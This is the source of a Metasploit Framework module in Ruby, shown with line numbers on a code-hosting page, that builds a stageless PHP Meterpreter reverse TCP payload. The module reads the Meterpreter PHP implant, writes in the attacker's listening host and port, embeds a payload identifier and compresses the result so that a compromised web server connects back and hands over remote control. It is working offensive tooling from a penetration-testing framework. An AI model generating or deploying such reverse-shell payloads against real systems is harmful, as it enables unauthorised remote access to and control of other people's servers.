Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7

8
module MetasploitModule
9

10
  CachedSize = 34928
11

12
  include Msf::Payload::Single
13
  include Msf::Payload::Php::ReverseTcp
14
  include Msf::Sessions::MeterpreterOptions
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'          => 'PHP Meterpreter, Reverse TCP Inline',
19
      'Description'   => 'Connect back to attacker and spawn a Meterpreter server (PHP)',
20
      'Author'        => ['egypt'],
21
      'Platform'      => 'php',
22
      'Arch'          => ARCH_PHP,
23
      'License'       => MSF_LICENSE,
24
      'Handler'       => Msf::Handler::ReverseTcp,
25
      'Session'       => Msf::Sessions::Meterpreter_Php_Php))
26
  end
27

28
  def generate(_opts = {})
29
    met = MetasploitPayloads.read('meterpreter', 'meterpreter.php')
30

31
    met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
32
    met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
33

34
    uuid = generate_payload_uuid
35
    bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
36
    met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
37

38
    # Stageless payloads need to have a blank session GUID
39
    session_guid = '\x00' * 16
40
    met = met.sub(%q|"SESSION_GUID", ""|, %Q|"SESSION_GUID", "#{session_guid}"|)
41

42
    if datastore['MeterpreterDebugBuild']
43
      met.sub!(%q|define("MY_DEBUGGING", false);|, %Q|define("MY_DEBUGGING", true);|)
44

45
      logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging'])
46
      met.sub!(%q|define("MY_DEBUGGING_LOG_FILE_PATH", false);|, %Q|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath]
47
    end
48

49
    met.gsub!(/#.*$/, '')
50
    met = Rex::Text.compress(met)
51
    met
52
  end
53
end
54

55